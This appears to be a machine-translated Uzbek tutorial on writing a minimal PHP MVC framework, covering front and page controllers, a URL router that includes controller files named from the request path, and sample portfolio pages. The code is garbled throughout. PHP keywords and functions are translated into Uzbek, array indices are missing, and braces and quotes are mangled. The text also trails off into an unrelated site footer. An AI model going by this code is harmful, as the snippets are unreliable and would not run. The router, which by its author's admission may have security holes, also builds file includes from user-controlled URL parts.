    Siz phpBB forumlarida multi-touchpoint yondashuvini ko'rishingiz mumkin. Forum viewforum.php skripti orqali, mavzu viewtopic.php va hokazo orqali ko'riladi. Bitta jismoniy skript fayli orqali kirish mumkin bo'lgan ikkinchi yondashuvni mening sevimli CMS MODX da ko'rish mumkin, bu erda barcha qo'ng'iroqlar index.php orqali o'tadi.

    Bu ikki yondashuv butunlay boshqacha. Birinchisi Page Controller naqshlari uchun xosdir, ikkinchi yondashuv esa Front Controller naqshlari tomonidan amalga oshiriladi. Sahifa boshqaruvchisi juda oddiy mantiqqa ega saytlar uchun yaxshi. O'z navbatida, so'rov boshqaruvchisi barcha so'rovlarni qayta ishlash faoliyatini bir joyda birlashtiradi, bu esa unga odatda sahifa boshqaruvchisi tomonidan hal qilinganidan ko'ra murakkabroq vazifalarni amalga oshirish imkonini beradigan qo'shimcha imkoniyatlarni beradi. Men sahifa boshqaruvchisini amalga oshirish tafsilotlariga kirmayman, faqat amaliy qismda so'rov boshqaruvchisi (o'xshash narsa) ishlab chiqilishini aytaman.

    1.2. URL marshrutlash URL marshrutlash ilovangizni haqiqiy ilova fayllariga mos kelmaydigan URL manzillaridan soʻrovlarni qabul qilish va foydalanuvchilar uchun semantik jihatdan mazmunli boʻlgan va qidiruv tizimini optimallashtirish uchun afzal qilingan CNC-lardan foydalanish uchun sozlash imkonini beradi.

    Masalan, kontakt shaklini ko'rsatadigan oddiy sahifa uchun URL quyidagicha ko'rinishi mumkin:
    http://www.example.com/contacts.php?action=feedback

    Bu holatda taxminiy ishlov berish kodi:
    switch ($_GET ["action" ]) ( case "haqida" : require_once ("about.php" ); // "Biz haqimizda" sahifa uzilishi ; case "contacts" : require_once ("contacts.php" ); // sahifa "Kontaktlar" tanaffus; case "feedback": require_once ("feedback.php"); // sahifa "Fikr" tanaffus; standart: require_once ("page404.php"); // sahifa "404" tanaffus; )
    Menimcha, deyarli hamma buni oldin qilgan.

    URL marshrutlash mexanizmidan foydalanib, ilovangizni bir xil ma'lumotlarni ko'rsatish uchun shu kabi so'rovlarni qabul qiladigan tarzda sozlashingiz mumkin:
    http://www.example.com/contacts/feedback

    Bu erda kontaktlar kontrollerni ifodalaydi va fikr-mulohaza aloqa shaklini ko'rsatadigan kontaktlarni boshqarish usuli va hokazo. Biz bu masalaga amaliy qismda qaytamiz.

    Shuni ham bilish kerakki, ko'plab veb-ramkalarning marshrutizatorlari sizga maxsus URL marshrutlarini (URLning har bir qismi nimani anglatishini ko'rsating) va ularni qayta ishlash qoidalarini yaratishga imkon beradi.
    Endi biz amaliyotga o'tish uchun etarli nazariy bilimga egamiz.

    2. Amaliyot Avval quyidagi fayl va papka strukturasini yaratamiz:


    Oldinga qarab, Model, View va Controller asosiy sinflari asosiy papkada saqlanadi, deb aytaman.
    Ularning farzandlari kontrollerlar, modellar va ko'rinishlar kataloglarida saqlanadi. index.php fayli ilovaga kirish nuqtasidir. Bootstrap.php fayli dasturni yuklashni boshlaydi, barcha kerakli modullarni ulaydi va hokazo.

    Biz ketma-ket ketamiz; index.php faylini ochamiz va uni quyidagi kod bilan to'ldiramiz:
    ini_set("display_xatolar", 1); require_once "application/bootstrap.php" ;
    Bu erda hech qanday savol bo'lmasligi kerak.

    Keyin darhol bootstrap.php fayliga o'tamiz:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Marshrut::start(); // routerni ishga tushiring
    Birinchi uchta qator hozirda mavjud bo'lmagan yadro fayllarini o'z ichiga oladi. Oxirgi qatorlar yo'riqnoma sinfiga ega faylni o'z ichiga oladi va statik boshlash usulini chaqirish orqali uni ishga tushirish uchun ishga tushiradi.

    2.1. URL-routerni amalga oshirish Hozircha MVC naqshini amalga oshirishdan chetga chiqamiz va marshrutlashga e'tibor qarataylik. Biz qilishimiz kerak bo'lgan birinchi qadam - .htaccess-ga quyidagi kodni yozish:
    RewriteEngine RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Ushbu kod barcha sahifalarni qayta ishlashni index.php ga yo'naltiradi, bu bizga kerak bo'lgan narsadir. Esingizdami, birinchi qismda biz Front Controller haqida gapirgan edik?!

    Biz marshrutlashni asosiy katalogdagi route.php alohida fayliga joylashtiramiz. Ushbu faylda biz Route sinfini tasvirlab beramiz, u boshqaruvchi usullarini ishga tushiradi, bu esa o'z navbatida sahifa ko'rinishini yaratadi.

    route.php faylining mazmuni

    class Route ( statik funktsiya start () ( // kontroller va standart harakat $controller_name = "Asosiy" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // olish kontroller nomi, agar (!empty ($routes )) ( $controller_name = $routes; ) // agar (!empty ($routes )) amal nomini oling ( $action_name = $routes; ) // prefikslarni qo'shing $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // faylni model sinfiga ulang (model fayli boʻlmasligi mumkin) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; agar (fayl_mavjud($model_path )) ( "application/models/" .$model_file; ni o'z ichiga oladi) // faylni ulash kontroller sinfi bilan $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controlers/" .$controller_file ; if (file_exists($controller_path )) ( "application/controllers/" ni o'z ichiga oladi; .$controller_file; ) else ( /* bu yerda istisno qoʻyish toʻgʻri boʻlardi, lekin ishlarni soddalashtirish uchun biz darhol 404 sahifaga yoʻnaltiramiz */ Route::ErrorPage404(); ) // $controller = new $controller_name kontroller yarating. ; $action = $action_name ; agar (metod_exists($controller , $action )) ( // kontroller harakatini $controller ->$action (); ) deb chaqirish ( // bu yerda istisno Route::ErrorPage404(); ) ) funksiya ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 topilmadi" ); header("Holat: 404 topilmadi" ) ; header(" Joylashuv:" .$host ."404" ); ) )


    Shuni ta'kidlaymanki, sinf juda soddalashtirilgan mantiqni amalga oshiradi (ko'p hajmli kodga qaramay) va hatto xavfsizlik muammolari bo'lishi mumkin. Bu ataylab qilingan, chunki ... to'liq huquqli marshrutlash sinfini yozish kamida alohida maqolaga loyiqdir. Keling, asosiy fikrlarni ko'rib chiqaylik ...

    $_SERVER["REQUEST_URI"] global massiv elementi foydalanuvchi bog'langan to'liq manzilni o'z ichiga oladi.
    Masalan: example.ru/contacts/feedback

    Funktsiyadan foydalanish portlash Manzil tarkibiy qismlarga bo'lingan. Natijada biz boshqaruvchi nomini olamiz, berilgan misol uchun bu kontroller kontaktlar va harakatning nomi, bizning holatlarimizda - fikr-mulohaza.

    Keyinchalik, model fayli (model etishmayotgan bo'lishi mumkin) va agar mavjud bo'lsa, kontroller fayli ulanadi va nihoyat, kontrollerning namunasi yaratiladi va agar u kontroller sinfida tasvirlangan bo'lsa, harakat yana chaqiriladi.

    Shunday qilib, masalan, manzilga borganingizda:
    example.com/portfolio
    yoki
    example.com/portfolio/index
    Router quyidagi amallarni bajaradi:

  • Model_Portfolio sinfini o'z ichiga olgan modellar jildidan model_portfolio.php faylini o'z ichiga oladi;
  • Controller_portfolio sinfini o'z ichiga olgan controllers papkasidan controller_portfolio.php faylini o'z ichiga oladi;
  • Controller_Portfolio sinfining namunasini yaratadi va unda tasvirlangan birlamchi harakat, action_index ni chaqiradi.
  • Agar foydalanuvchi mavjud bo'lmagan kontroller manziliga kirishga harakat qilsa, masalan:
    example.com/ufo
    keyin u "404" sahifasiga yo'naltiriladi:
    example.com/404
    Agar foydalanuvchi tekshirgichda tasvirlanmagan harakatga kirsa, xuddi shunday holat yuz beradi.2.2. Keling, MVC amalga oshirishga qaytaylik, asosiy papkaga o'tamiz va route.php fayliga yana uchta fayl qo'shamiz: model.php, view.php va controller.php.


    Sizga eslatib o'tamanki, ular asosiy sinflarni o'z ichiga oladi, biz hozir yozishni boshlaymiz.

    model.php faylining mazmuni
    sinf modeli ( get_data umumiy funktsiyasi ( ) ( ) )
    Model klassi avlod sinflarida bekor qilinadigan yagona bo'sh ma'lumotlarni olish usulini o'z ichiga oladi. Biz avlod sinflarini yaratganimizda, hamma narsa aniqroq bo'ladi.

    view.php faylining mazmuni
    class View ( //public $ template_view; // bu yerda siz standart umumiy ko'rinishni belgilashingiz mumkin. funktsiyani yaratish ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // massivni aylantirish elementlarni o'zgaruvchilarga ajrating($data); ) */ "application/views/" ni o'z ichiga oladi .$template_view ; ) )
    Bu usulni taxmin qilish qiyin emas hosil qilish ko‘rinish hosil qilish uchun mo‘ljallangan. Unga quyidagi parametrlar uzatiladi:

  • $content_file - sahifa mazmunini aks ettiruvchi ko'rinishlar;
  • $template_file — barcha sahifalar uchun umumiy shablon;
  • $data - sahifa mazmuni elementlarini o'z ichiga olgan massiv. Odatda modelda to'ldiriladi.
  • Qo'shish funksiyasi umumiy shablonni (ko'rinishni) dinamik ravishda bog'laydi, uning ichiga ko'rinish kiritiladi
    ma'lum bir sahifaning mazmunini ko'rsatish uchun.

    Bizning holatda, umumiy shablon sarlavha, menyu, yon panel va altbilgidan iborat bo'ladi va sahifa mazmuni alohida shaklda bo'ladi. Shunga qaramay, bu oddiylik uchun qilingan.

    controller.php faylining mazmuni
    class Controller (ommaviy $model; umumiy $view; funktsiya __construct () ( $this ->view = new View(); ) ) )
    Usul action_index- bu sukut bo'yicha chaqirilgan harakat; biz avlod sinflarini amalga oshirishda uni bekor qilamiz.

    2.3. Model va Controller avlod sinflarini amalga oshirish, Ko'rinishlarni yaratish Endi qiziqarli boshlanadi! Bizning vizit karta veb-saytimiz quyidagi sahifalardan iborat bo'ladi:
  • uy
  • Xizmatlar
  • Portfel
  • Kontaktlar
  • Va shuningdek - "404" sahifasi
  • Har bir sahifada kontrollerlar jildidan o'z boshqaruvchisi va ko'rinishlar jildidan ko'rinish mavjud. Ba'zi sahifalar modellar jildidagi model yoki modellardan foydalanishi mumkin.


    Oldingi rasmda template_view.php fayli alohida ajratilgan - bu barcha sahifalar uchun umumiy belgilarni o'z ichiga olgan shablon. Eng oddiy holatda u quyidagicha ko'rinishi mumkin:
    uy
    Saytga jozibali ko'rinish berish uchun biz CSS shablonini yaratamiz va uni HTML belgilash strukturasini o'zgartirish va CSS va JavaScript fayllarini ulash orqali saytimizga integratsiya qilamiz:

    Maqolaning oxirida, "Natija" bo'limida, oddiy shablonni birlashtirish uchun qadamlar qo'yilgan loyiha bilan GitHub omboriga havola mavjud.

    2.3.1. Bosh sahifani yaratish Controller_main.php dan boshlaylik, mana uning kodi:
    class Controller_Main Controllerni kengaytiradi ( action_index () funksiyasi ($this ->view->generate("main_view.php", "template_view.php"); ))
    Usulda hosil qilish View sinfining namunasi, umumiy shablon fayllari nomlari va sahifa mazmuni bilan ko'rinish uzatiladi.
    Indeks harakatidan tashqari, boshqaruvchi, albatta, boshqa harakatlarni ham o'z ichiga olishi mumkin.

    Biz avvalroq umumiy ko'rinish faylini ko'rib chiqdik. main_view.php kontent faylini ko'rib chiqing:
    Xush kelibsiz! OLOLOSHA TEAM - bu veb-saytlarni ishlab chiqish sohasida ko'p yillik tajribaga ega bo'lgan meksikalik niqoblar, Hindiston va Seylondan bronza va tosh haykallar, Ekvatorial Afrika ustalari tomonidan yaratilgan barelyef va haykallarni yig'ish bo'yicha ko'p yillik tajribaga ega bo'lgan birinchi darajali mutaxassislar jamoasi. oldin...
    Bu PHP qo'ng'iroqlarisiz oddiy belgilashni o'z ichiga oladi.
    Asosiy sahifani ko'rsatish uchun siz quyidagi manzillardan birini ishlatishingiz mumkin:

    • ma'lumotlar abstraktsiyasini amalga oshiradigan kutubxonalar usullari. Masalan, PEAR MDB2 kutubxonasining usullari;
    • ORM usullari;
    • NoSQL bilan ishlash usullari;
    • va boshq.
    • Oddiylik uchun biz bu erda SQL so'rovlari yoki ORM bayonotlaridan foydalanmaymiz. Buning o'rniga, biz haqiqiy ma'lumotlarni taqlid qilamiz va darhol natijalar qatorini qaytaramiz.
      Modellar papkasida model_portfolio.php model faylini joylashtiring. Mana uning mazmuni:
      class Model_Portfolio kengaytiriladi Model ( umumiy funktsiya get_data () ( massivni qaytarish (massiv ("Yil" => "2012" , "Sayt" => "http://DunkelBeer.ru" , "Ta'rif" => "Reklama sayti nemis ishlab chiqaruvchisi Löwenbraü'dan quyuq Dunkel pivosi Rossiyada pivo ishlab chiqaruvchi kompaniya tomonidan ishlab chiqarilgan "SUN InBev." ), massiv ("Yil" => "2012" , "Sayt" => "http://ZopoMobile.ru", "Ta'rif" " => "Android OS asosidagi Zopo kompaniyasidan Xitoy telefonlarining rus tilidagi katalogi va ular uchun aksessuarlar."), // todo ) ) )

      Model kontroller klassi controller_portfolio.php faylida joylashgan, mana uning kodi:
      class Controller_Portfolio kengaytiriladi Controller ( funksiya __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data() ); $this ->view->generate("portfolio_view.php", "template_view.php", $data ); ))
      O'zgaruvchiga ma'lumotlar usuli bilan qaytarilgan massiv yoziladi get_data biz avvalroq ko'rib chiqdik.
      Keyinchalik bu o'zgaruvchi usul parametri sifatida uzatiladi hosil qilish, shuningdek, quyidagilarni o'z ichiga oladi: umumiy shablonli fayl nomi va sahifa mazmuni bilan ko'rinishni o'z ichiga olgan fayl nomi.

      Sahifa mazmunini o'z ichiga olgan ko'rinish portfolio_view.php faylida joylashgan.
      Portfel

      Quyidagi jadvaldagi barcha loyihalar xayoliydir, shuning uchun taqdim etilgan havolalarga amal qilishga urinmang ham.

      2024 | Hamma uchun kompyuterlar - O'rnatish, o'rnatish, tiklash


      YilLoyihaTavsif